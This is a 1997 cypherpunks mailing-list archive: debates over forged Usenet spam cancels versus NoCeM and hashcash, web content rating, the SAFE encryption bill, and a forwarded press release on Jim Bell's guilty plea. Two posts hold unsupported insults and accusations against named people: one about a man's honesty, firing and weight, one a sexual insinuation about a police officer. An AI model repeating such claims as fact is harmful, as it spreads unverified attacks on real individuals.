To: jai@mantra.com
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730124407.0098f250@caprica.com>
Message-ID: <199707310103.CAA27631@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Some people have been arguing that cancelling other peoples posts
based on their own subjective views is a good thing.

It would seem that they are arguing that it is a good thing because it
saves bandwidth, and because it gives them satisfaction to silence
unpopular minorities.

Foo on that.

It's censorship.  If you didn't write it, you have no business
cancelling it.

NoCems are a good solution to mailing list and USENET groups spams.
Then each person can take their pick of which posters article ratings
to use, or can create their own rating service.

For email spams (not talking about cancels here), I'd suggest
attaching electronic payment to emails as a condition of delivery.

A temporary fix for emails, or another approach, is to use hashcash.
Hashcash is a token of CPU time.  It proves that the sender has
consumed a given number of seconds/minutes/hours CPU time.  The
receiver sets their software to reject mail (bounce with explanation,
or put into potential spam folder) to squelch out spam.

A description of hashcash, and an implementation can be found here:

	http://www.dcs.ex.ac.uk/~aba/hashcash/

Mail from known addresses (friends, mailing lists) would be marked as
exempt from postage requirements.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rbrewer@op.net (Robert W. Brewer)
Date: Thu, 31 Jul 1997 13:11:27 +0800
To: cypherpunks@toad.com
Subject: Spam is Information?
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <m3pvrz92rd.fsf_-_@wiz.rob.net>
MIME-Version: 1.0
Content-Type: text/plain



"Dr. Jai Maharaj" <jai@mantra.com> writes:
> The commission of crimes such as forgery and censorship is 
> not an acceptable excuse to stop the flow of information, even 
> if the free flow is perceived by some as a crime.

I define usenet spam as "the same message posted to more
than 10 newsgroups without crossposting."  By this
definition, spam has very little information content.  It is
almost totally redundant.  Instead of posting 1 message,
1000 messages are posted.  The 2nd through 1000th message
add no more information than the first.  This would not be a
problem if the network had infinite bandwidth and storage
capabilities.  However, finite bandwidth and storage means
that every flow of spam "information" necessarily restricts
the flow of other information.  If the network were at full
capacity and you were forced to make a choice of what
information would flow, what would it be?  Would you cancel
the 999 redundant copies of a 1000 group spam, or would you
cancel 999 random non-spam messages?  I know, you would
upgrade the network, but that is not viable.  It will
always be possible to generate more spam than the network
can handle.

Here's an analogy--consider a small physical bulletin board
on a university campus that is divided up into sections for
different categories of bulletins to help organize the
postings.  The sections might be "official university
announcements", "concerts and movies", "clubs", "for sale or
trade", and "miscellaneous".  There is a sign at the top of
the bulletin board that reads "Bulletin Board Rule: Only one
copy of an a flyer may be posted."  This is a public
bulletin board--anyone can hang things on it.

Now, let's say someone comes along and decides to plaster
the entire bulletin board with 25 big blue sheets that each
read "Make Money Fast!  Call 555-1212 for details!".  These
25 big blue sheets cover up most of the other announcements
on the bulletin board.  Let's also say that whoever made
these big blue ads used "free" university photocopiers,
where the cost of each copy is paid for by the university.

Personally, I would consider it quite a service if someone
ripped down 24 of these big blue sheets and put them in the
recycling bin, leaving only one remaining sheet either on
the "for sale or trade" or "miscellaneous" portion of the
bulletin board.

I claim that this analogy is reasonably close to the
usenet: the bulletin board has limited space (bandwidth), is
divided into topics (newsgroups), has some rules of use
(netiquette), and has some distributed costs associated with
using it (everyone pays indirectly for the copy machine).
Since this is an analogy, and not the actual usenet, there
will be differences between the real-world bulletin board
and usenet.  I'm sure these will be pointed out to
demonstrate why taking down the 24 blue sheets is censorship
and limits the free flow of information.

What about the information on the bulletin board that is
covered up by the 24 blue sheets?  Is that information not
effectively censored by the blue sheets?  On usenet, spam
takes up server space that could otherwise be used for
legitimate articles, thus causing those articles to expire
much faster than if there were no spam.  The legitimate
articles are "covered up" (censored) by the spam.

Is it "free expression" to walk into a restaurant and start
yelling and screaming so loud that no one else can carry on
a conversion?  Even if it is, you'd better be prepared for
the management to ask you to leave.  If you fail to comply,
they would likely call the police and have you removed for
disrupting their business.  What if you yell just loud
enough to be annoying to everyone in the restaurant, but
they can still converse if they make an effort to ignore
you?  Any reasonable restaurant management would still ask
you to quiet down.  The "management" of usenet has made a
simple request: don't post the same message to 1000
newsgroups or your messages will be asked (or forced) to
leave.

I agree NoCeM is better than cancelbots.  But I think
objective cancelbots (anything posted to more than 10 groups
and not crossposted is cancelled, etc.) are better than a
server full of spam.

-Rob
-- 
Robert W. Brewer  PGP 2048-bit Key ID: 03E0E635
Jesus rules!      FP: 6327 8034 7BDA D144 B40C C5E2 F760 13BB





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Thu, 31 Jul 1997 02:16:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <Chameleon.870271542.amp@ampugh.mcit.com>
Message-ID: <199707301806.EAA00408@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



   amp@pobox.com said:

>Personally, I found the article about web gaming to be rather funny.
>
>I wonder about the quality of the 'prng' used by these casinos.
>
>There are, indeed, suckers born every minute.

Yes indeed. For me the highlight, however, was the gubmints sharing, 
caring attitude. It's almost enough to prompt me to gamble online just to 
be cared for by the nurturing angels.

-- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 31 Jul 1997 10:29:10 +0800
To: cypherpunks@toad.com
Subject: Re: Netly News Fan Mail
Message-ID: <199707310215.EAA09572@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos wrote: 
> It appears that the CPAC/Sewer folks have read the recent Netly News
> article on their activities and were not pleased.  This little blurb
> healines the "Sewer List" this morning.
> 
> -----Begin Officer Paladino Rant-----
> 
> July 29, 1997, I was told of an article that appeared on the Net.
> It appeared on a Netly News site.
...
> In the article he links to a few sites showing young boys but he
> forgot to link to the 1000's of sites showing young boys in the
> nude.
> You will see sites exposing young boys, as young as 4 years old,
> nude.

  Strange. I followed some of the links on the Sewer site, and all
I found was that they were harassing and slandering people with
perfectly legitimate reasons for having normal pictures of clothed
children on their site.
  Are child actors supposed to put pictures of adults who look
similar to them on their web sites? Are pictures of themself 
(fully clothed) "pornography" when gay teens put them on a web
site, but pictures of themself that Christian teens put of
themself on s web site are "wholesome?"

> Freedom is a great thing and this is the greatest country in the
> world. I wonder how many soldiers that gave their lifes fighting
> for that freedom, had pictures of nude boys in their wallets,
> instead of their families. Think about
> that.......................

  No doubt some of those soldiers had naked pictures of their
children in their wallets, but I doubt if those pictures gave
them a hard-on, as they would obviously do for Officer Paladino.
  Officer Paladino seems to fail to understand that "his" hard-on
does not make "other" people perverts.

> -----End Officer Paladino Rant-----

> Will someone please buy this poor man a spell-checker? :)

  Intelligence and educations are not requirements to become a
member of the Righteous Right. Neither are tolerance and respect
for the personal moral beliefs of others.
  It will be interesting to see whose "moral values" prevail on
the InterNet when the laws and traditions of various societies and
nations come into conflict. My prediction is that it will be the 
moral values of the most intolerant nation with the largest weapons.

Dr. Anonymous





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 31 Jul 1997 08:30:16 +0800
To: Doug Peterson <fnorky@geocities.com>
Subject: Re: Yet another self-labeling system
In-Reply-To: <33DFB441.59A0@geocities.com>
Message-ID: <Pine.LNX.3.93.970731060455.102C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 30 Jul 1997, Doug Peterson wrote:

> Kurt Starsinic wrote:
> > 
> >     I'm in favor of a ratings system; not one which indicates for whom a
> > given page is suitable, but rather one which identifies the subject matter.
> >  The Dewey Decimal System is a primitive example of such a system.
> 
> Technically the Dewey Decimal System in not a rating system, it's a
> subject index.

I think that is what the Kurt is arguing for.  Some sort of subject
tagging rather then a Adult content flagging.  This would have a dule
roll, it would discrouge peaple who do not wish to view that type of
matiral and would encourage peaple that do wish to view that matrial.

In addtion peaple would volterly rate there pagers without need to any
mandotry scheam as it would help peaple searching for that type of
matiral.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM9+fnaQK0ynCmdStAQEm/gQAmwthNDtJXoiVavsXTcEHbxcJgZQ9S8O/
3DKjs554XirPCWI7BH37if82hQ7j8jNzn+wTsOTp0yhYnGtgD+H9xbcGOHTxWRi+
GbtiIJIZxzqpB3okscKpjdrxLowkqVBtJ6B/Wz0uZrtCgvLxmknHgCHfeyUpH4lO
0O//vIFXiGg=
=gSLk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 31 Jul 1997 19:49:04 +0800
To: cypherpunks@toad.com
Subject: House Report on SAFE
Message-ID: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



House Report 105-108, Part 2, July 25, 1997, reports on the 
recent House International Relations Committee action on 
Goodlatte's SAFE crypto bill, and includes analysis, supporting 
and dissenting views, and a few letters sent to the committee:

   http://jyx.com/hr105-108-pt2.htm  (87K)

As before offered, see HR 105-108, Part 1, published at the end of
May:

   http://jyx.com/hr105-108-pt2.txt  (94K)

Note: that's JYX.COM, (same as 108240.primehost.com) 
our temp site to fill in for remanded JYA which  is to be unJimmed 
soon, isn't it, your honor, what stink you screeching about, that's
just rotting pork.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 31 Jul 1997 09:57:48 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <199707310103.CAA27631@server.test.net>
Message-ID: <Pine.LNX.3.93.970731073318.102F-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Adam Back wrote:

> Some people have been arguing that cancelling other peoples posts
> based on their own subjective views is a good thing.

Nno one is arugeing that.  Both sides in this debait aggry that that is a
REAL BAD thing.  Spam cancelers use an objective rules.  The world would
be a better place if this didn't happen and everybody was on NoCeM.  But
yet this is not true.

[...]

> It's censorship.  If you didn't write it, you have no business
> cancelling it.

Not even forgeries in my name?  Not even out of the control spews from
fidonet?

> NoCems are a good solution to mailing list and USENET groups spams.

NoCeMs don't work on email.

> For email spams (not talking about cancels here), I'd suggest
> attaching electronic payment to emails as a condition of delivery.

And thus killing mailing lists like freedom knights and cyperpunks?


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM9+0k6QK0ynCmdStAQFWYwQA0NmbRaL14Fp0XHik+pgJ7sAxx5MQJd+m
tjO023S8SUncdaUdB5VtrXK0quZvrS9GU087s6xAXNMGbv2UAxVPY5raBhJ1V1yf
C0KBkPgxHcKHBEs53oMRtHJTkMMx3XhCL24fUPI8j1Coy/rvraFqNF6S1WppZSwa
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=mDBU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 20:54:20 +0800
To: cypherpunks@toad.com
Subject: Re: Third party rating services NOT self-rating (was Re: Yet another
In-Reply-To: <199707310045.BAA27618@server.test.net>
Message-ID: <FRFPae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

> James Love <love@cptech.org> writes:
> > Paul Bradley wrote:
> > > > [Pissing, Fisting and beastiality!]
> > > >
> > > > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
> > >
> > > We can clearly come to no agreement here as I cannot see any material
> > > listed above which would be harmful in any way to a viewer, child or
> > > not.
> >
> >    Paul. Do you *have* any children?  Jamie
>
> I have children.  My views are generally liberal.  I could probably
> come up with a few things I think would not be appropriate
> viewing/reading at this stage (4 year old?)
>
> However, and this appears to be a point being missed here, it is
> pretty much irrelevant what I think should be appropriate for my
> children, because the person you are proposing to rate the site is the
> site's author.  It is inevitable that the site's author will have
> different views about what is suitable for children than any
> particular parent.  Pick 10 people, you'll have 10 different sets of
> what is suitable.

I have 2 kids.  I think it's highly unethical to lie to kids about the
existance of tooth fairies/gods/santa clauses.
...
> Now where does the need for government come into this picture?

Nowhere.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 20:50:06 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970731073318.102F-100000@shirley>
Message-ID: <FwFPae2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Thu, 31 Jul 1997, Adam Back wrote:
>
> > Some people have been arguing that cancelling other peoples posts
> > based on their own subjective views is a good thing.
>
> Nno one is arugeing that.  Both sides in this debait aggry that that is a
> REAL BAD thing.  Spam cancelers use an objective rules.  The world would
> be a better place if this didn't happen and everybody was on NoCeM.  But
> yet this is not true.

Let me clarify two things:

1. "Spam cancellers" are not generally news admins. They are plain old
users who get kicked off of their ISPs for forging cancels. For examples,
see Net.Scum pages of Rick Buchanan, David Ritz, et al.

2. Once a cancel-forger builds a "reputation" as a "spam canceller",
s/he often diversifies into "retromodetration" - forgng cancels for
singly-postd articles whose contents they don't like and claiming that
they were "spam". For examples, see the Net.Scum pages for Guy Macon
(the retromoderator on soc.religion.quaker), Chris Lewis, et al.

> > It's censorship.  If you didn't write it, you have no business
> > cancelling it.
>
> Not even forgeries in my name?  Not even out of the control spews from
> fidonet?

Correct.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 20:59:51 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <sagPae3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson <randerso@ece.eng.wayne.edu> writes:

> At 02:03 AM 7/31/97 +0100, Adam Back wrote:
>
> >It's censorship.  If you didn't write it, you have no business
> >cancelling it.
>
> Have you considered the actions of the news-admins that are auto-canceling
> anything with more than a certain number of cross-posts, or posts with "Make
> Money Fast" in the subject? ...

I posted an MMF parody (PGP as MLM) to the cypherpunks mailing list last
January and was threatened by more than one person too stupid to recognize a
parody.

The Net.Scum who forge cancels for Usenet articles that are cross-posted into
"too many" newsgroups a) are not usually sysadmins - just control freak users,
who often get spanked from their ISPs for forging cancels, harrassing posters,
and other net-abuse, 2) have no clue how Usenet works - they claim that
cross-posting wastes bandwidth, 3) suppress not only MMF but any content they
don't like (like Guy Macon, the retromoderator of the formerly
unmoderated soc.religion.quaker, has been forging cancels for the leprosy
thread which he thinks is "off-topic")

The solution is to disable all cancels now.

> "Make Money Fast" are killed because they're illegal scams in the US and I
> think in most of the world.

Who are you to decide that a particular content is illegal, or that a Usenet
article soliciting an activity that's illegal in some jurisdictions should
be suppressed?

Unlike you, I am a news admin.  Many years ago I used to forge cancels for
MMF articles on Usenet.  Then I realized that I was very wrong to do that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 31 Jul 1997 21:12:29 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: uncensorable net based payment system?
In-Reply-To: <199707311240.NAA00742@server.test.net>
Message-ID: <199707311307.IAA17412@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199707311240.NAA00742@server.test.net>, on 07/31/97 
   at 01:40 PM, Adam Back <aba@dcs.ex.ac.uk> said:

>Then I can have some net cash savings backed by the rights to 1Tb of
>bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.

>A problem with this is that the market prices of the assets is
>continually dropping.  How do I hedge against this.  Can I buy futures? 
>Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
>years time at an predicted equivalent value? 

Well I see some problems with this. Any increase in bandwith requires the
addition of hardware to accomplish it. It would be of little use to me to
have 100 Mb/sec for 3days considering the cost of installing the lines and
purchacing the extra equipment.

Also in a packet switching environment how do you plan on insuring any
amount of bandwith? The Backbone is not set-up for this. The only way in
the current enviorment that you can guarantee a given bandwith is by
having a dedicated connection point to point.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 31 Jul 1997 21:53:14 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <199707311344.IAA17797@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199707311120.MAA00669@server.test.net>, on 07/31/97 
   at 12:20 PM, Adam Back <aba@dcs.ex.ac.uk> said:

>Another longer term way to improve the situation is to charge some small
>token amount per article, just to encourage people to use it with some
>intelligence (use cross posts rather than separately reposting to each
>group).

>It is also entirely possible for people to have 'bots which auto-post in
>response to articles matching keywords, or matching authors. (We've seen
>a few of these on cypherpunks).

>If people want to make a nuisance for others by spewing random garbage
>via bots to newsgroups, they could post mega bytes of stuff per day and
>swamp the content.  What can you do about this?  Charging a small amount
>per post, or per megabyte would provide a small disincentive for this
>type of behaviour.  However it would never reflect the true cost to
>USENET bandwidth as a whole.

>One interesting idea which has been floated on this list in the past is
>for authors to have their free posting rate moderated by other peoples
>ratings of their posts.

>One way to implement this is for other people to pay the author for their
>articles a penny if they like the article.  That way people who write
>things which others find interesting to read get subsidized posting.  Is
>it still free speech if you have to pay for your posts if you're arguing
>for an unpopular minority?

This will not work!!!

Charging for e-mail/news posts will no nothing to prevent spam and more
than likely increase the noise on such lists. It is the spamers who have
the money to post volumns of their crap. Allso I think you will find that
it will be the fanatics who will think it worth the $$$ to get their
message out.

While I find the various mailling lists & newsgroups of intrest the
majority of them are not thet intresting that I would be willing to pay
$$$ every time I post a reply to someones questions (most of my posts
outside of CP are answering questions on programming,crypto, & OS/2). I
think that the overall quality of the newsgroups would decline if you
started paying on a per-post basis.

It should be noted that the Bandwith issue is a red-herring. It is an
antiquated concept from the Fidonet days and does not apply. The bandwith
of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
ISP customers pay for their connections to their ISP who in turn pay for
their connections to the Access providers who inturn pay for the Backbone.
The PIPE has been paid for what goes over it not an issue. If all I want
to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
ones busines but my own. If I chooses to use my bandwith to transmit a
variety of file formats using various protocols
(HTTP,FTP,GOFFER,ARCHIE,...ect) who are you to say that some formats are
good and some are not!! (this is not even getting into the content of the
data being shiped).

>Also, this might be an interesting information market model because
>technical experts might even find themselves with a well paid job of
>answering technical questions in newsgroups.

There is a web site that is doing exactly this. They provide forums for
users to post technical questions in which "experts" will answer them.
Upon receiving the answer the person who posted the question is requested
to rate the answer. I haven't been on the site in awhile but the last time
I was there they were working on a mechinism to compensate their "experts"
for answering questions. They had a point system based on the difaculty of
the questions. After registering with them and obtaining a certain number
of points for correctly answering questions you would be classified as an
"expert" for that forum which then would make you eligable for
compensation. I believe all funds were to be generated through web page
advertisement.


I'll see if I can find the URL for the site and post it to the list.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 20:49:08 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707310046.RAA19350@kachina.jetcafe.org>
Message-ID: <RFHPae9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Dave Hayes <dave@kachina.jetcafe.org> writes:

> > Not if it's done through the normal operation of the protocol.  If articles
> > needed more protection, cryptographic elements would have been part of the
> > design to begin with.  Even David Hayes has admitted that cancels are prote
> > free speech.
>
> I have admitted no such thing.

Paul Pomes is a fouil-mouthed liar.  Please see his Net.Scum page at
http://www.netscum.net/pomesp0.html.

Two questions to Tim Skirvin:
1. Why was Paul Pomes fired from UIUC academic computer facility?
2. Does Paul still weigh 400 lbs?

> > Keep repeating to yourself, "It's just usenet, it's just usenet....".
>
> I understand you are reluctant to communicate with those you deem inferior,
> however do not deny this to the rest of us that want to talk.

That's a very good point.  Paul is an enemy of the cypherpunk anonymous
remailers. He complains about them to the remailer operators' upstreams
and employers.  Paul has been sending me obscene and harrassing e-mail
and complains to PSI, my upstream, about the contents of the e-mail he
thinks originated here.  Paul is a poster child for net.censorship.

Paul publicly claims to killfile anyone he doesn't like, but then goes
out of his way to silence them.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 31 Jul 1997 20:49:28 +0800
To: John Young <jya@pipeline.com>
Subject: Re: House Report on SAFE
In-Reply-To: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970731083153.15090D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Note the following ominous excerpt from one of the letters:


"We are in unanimous agreement that congress must adopt
encryption legislation that requires the development,
manufacture, distribution and sale of only key recovery
products."

Darrell L. Sanders, President, International Association of
Chiefs of Police.

James E. Doyle, President, National Association of
Attorneys General.

Fred Scoralic, President, National Sheriffs' Association.


-Declan


On Thu, 31 Jul 1997, John Young wrote:

> House Report 105-108, Part 2, July 25, 1997, reports on the 
> recent House International Relations Committee action on 
> Goodlatte's SAFE crypto bill, and includes analysis, supporting 
> and dissenting views, and a few letters sent to the committee:
> 
>    http://jyx.com/hr105-108-pt2.htm  (87K)
> 
> As before offered, see HR 105-108, Part 1, published at the end of
> May:
> 
>    http://jyx.com/hr105-108-pt2.txt  (94K)
> 
> Note: that's JYX.COM, (same as 108240.primehost.com) 
> our temp site to fill in for remanded JYA which  is to be unJimmed 
> soon, isn't it, your honor, what stink you screeching about, that's
> just rotting pork.
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Fri, 1 Aug 1997 02:51:38 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707311521.LAA03989@mail.storm.ca>
Message-ID: <3.0.2.32.19970731084010.009d8100@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:21 AM 7/31/97 -0400, Sandy Harris wrote:
> Dr. Jai Maharaj <jai@mantra.com> writes:
>
>|> ...where on this scale do you start to object to my actions:
>|> 1) I use a killfile to ignore certain messages.
>|> 2) I program my personal newsserver to discard certain messages.
>|> 3) A group of us, by consensus, program our common newsserver...
>|
>|Unanimous consent?
>|
>|> 4) A system admin, with due notice to users, programs a 
>|> newserver.....
>|
>|What constitutes "due notice" in the present context?
>
>Postings in news.announce.newusers.

That's ridiculous.  One shopping for an ISP, without
access to the Net, is not in a position to read a
notice in a newsgroup.  It makes sense that censorship
and forgery advocates would also suggest means of hiding
the truth.

Again, if an ISP were to advertise "Newsgroups censored 
through forgery" -- in electronic, print and broadcast
media, or wherever advertisements are placed or material
made available to investors, then that would be "due notice".

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 1 Aug 1997 00:03:29 +0800
To: cypherpunks@cyberpass.net
Subject: Denning backs away from GAK
Message-ID: <199707311546.IAA24925@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain






"Encrypt expert revises views
Authorities crack codes on their own"

By Simpson Garfinkel, special to the Mercury News

"A key academic supporter of the Clinton administrations position in the
debate over controls on encryption software has found that the
scrambling techniques widely used today have not shielded criminals from
law enforecement authorities.  As a result, she is backing off from
her long-held belief that controls on strong encryption are essential
to fight crime"



http://www.sjmercury.com/business/compute/encrypt073097.htm


-- 
            Eric Murray    ericm@lne.com      ericm@nabletech.com
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 31 Jul 1997 21:15:53 +0800
To: cypherpunks@toad.com
Subject: URL for HR105-108, Part 1
Message-ID: <1.5.4.32.19970731125318.006dcab0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Mistype on the URL for SAFE Report Part 1.

As before offered, see HR 105-108, Part 1, published at the end of
May:

   http://jyx.com/hr105-108-pt1.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@eff.org>
Date: Fri, 1 Aug 1997 00:14:38 +0800
To: cypherpunks@toad.com
Subject: I did get the infamous IRS letter after all
Message-ID: <Pine.GSO.3.95.970731085532.17782D-100000@eff.org>
MIME-Version: 1.0
Content-Type: text/plain



[I check eff.org only rarely. --Declan]

---------- Forwarded message ----------
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
          by eff.org (8.8.5/8.8.4) with SMTP
	  id PAA23349 for <declan@eff.org>; Fri, 18 Jul 1997 15:43:59 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id AA19660
  (InterLock SMTP Gateway 3.0 for declan@eff.org);
  Fri, 18 Jul 1997 18:47:02 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:47:02 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:47:02 -0400
Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
